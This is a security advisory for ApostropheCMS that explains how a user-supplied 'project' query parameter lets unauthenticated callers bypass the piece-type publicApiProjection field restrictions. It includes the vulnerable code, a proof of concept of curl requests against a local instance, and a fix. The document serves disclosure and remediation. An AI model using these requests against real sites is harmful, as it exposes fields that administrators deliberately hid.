GHSA-xhq9-58fw-859p

Summary

The getRestQuery method in the @apostrophecms/piece-type module checks whether a MongoDB projection has already been set before applying the admin-configured publicApiProjection. An unauthenticated attacker can supply a project query parameter in the REST API request to pre-populate the projection state, causing the security-enforced publicApiProjection to be skipped entirely. This allows disclosure of fields that the site administrator explicitly restricted from public access.

Details

When an unauthenticated user queries the piece-type REST API, the getRestQuery method processes the request at modules/@apostrophecms/piece-type/index.js:1120:

// piece-type/index.js:1120-1137
getRestQuery(req, omitPermissionCheck = false) {
  const query = self.find(req).attachments(true);
  query.applyBuildersSafely(req.query);          // [1] attacker input applied first
  if (!omitPermissionCheck && !self.canAccessApi(req)) {
    if (!self.options.publicApiProjection) {
      query.and({
        _id: null
      });
    } else if (!query.state.project) {            // [2] checks if projection already set
      query.project({
        ...self.options.publicApiProjection,
        cacheInvalidatedAt: 1
      });
    }
  }
  return query;
},

At [1], applyBuildersSafely iterates over all query string parameters and invokes their corresponding builder methods. The project builder exists in @apostrophecms/doc-type with a launder method (doc-type/index.js:1876) that sanitizes values to booleans:

// doc-type/index.js:1875-1889
project: {
  launder (p) {
    if (!p || typeof p !== 'object' || Array.isArray(p)) {
      return {};
    }
    const projection = Object.entries(p).reduce((acc, [ key, val ]) => {
      return {
        ...acc,
        [key]: self.apos.launder.boolean(val)
      };
    }, {});
    return projection;
  },

When a request includes ?project[someField]=1, the builder sets query.state.project to {someField: true}. At [2], the conditional !query.state.project evaluates to false because the state is already populated, so the publicApiProjection is never applied.

For comparison, the @apostrophecms/page module's equivalent method (page/index.js:2953) unconditionally applies the projection:

// page/index.js:2953-2958
} else {
  query.project({
    ...self.options.publicApiProjection,
    cacheInvalidatedAt: 1
  });
}

PoC

Prerequisites: An ApostropheCMS 4.x instance with a piece-type (e.g., article) that has publicApiProjection configured to restrict fields. For example:

// modules/article/index.js
module.exports = {
  extend: '@apostrophecms/piece-type',
  options: {
    publicApiProjection: {
      title: 1,
      _url: 1
    }
  }
};

Step 1: Normal request — observe restricted fields are hidden:

curl 'http://localhost:3000/api/v1/article'

Response returns only title and _url fields per the configured projection.

Step 2: Bypass projection by supplying project query parameter:

curl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'

Response now includes internalNotes, slug, createdAt, and any other requested fields — bypassing the admin-configured publicApiProjection restriction.

Step 3: Request all default fields by projecting inclusion of sensitive fields:

curl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'

All requested fields are returned, confirming the publicApiProjection is fully bypassed.

Impact

• Information Disclosure: An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.
• Scope: Affects all piece-type modules with publicApiProjection configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.
• Exploitability: Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.

Recommended Fix

Remove the conditional check on query.state.project in piece-type/index.js, matching the page module's unconditional behavior. The admin-configured publicApiProjection should always override any user-supplied projection for unauthenticated users:

// modules/@apostrophecms/piece-type/index.js:1123-1134
// BEFORE (vulnerable):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else if (!query.state.project) {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}

// AFTER (fixed):
if (!omitPermissionCheck && !self.canAccessApi(req)) {
  if (!self.options.publicApiProjection) {
    query.and({
      _id: null
    });
  } else {
    query.project({
      ...self.options.publicApiProjection,
      cacheInvalidatedAt: 1
    });
  }
}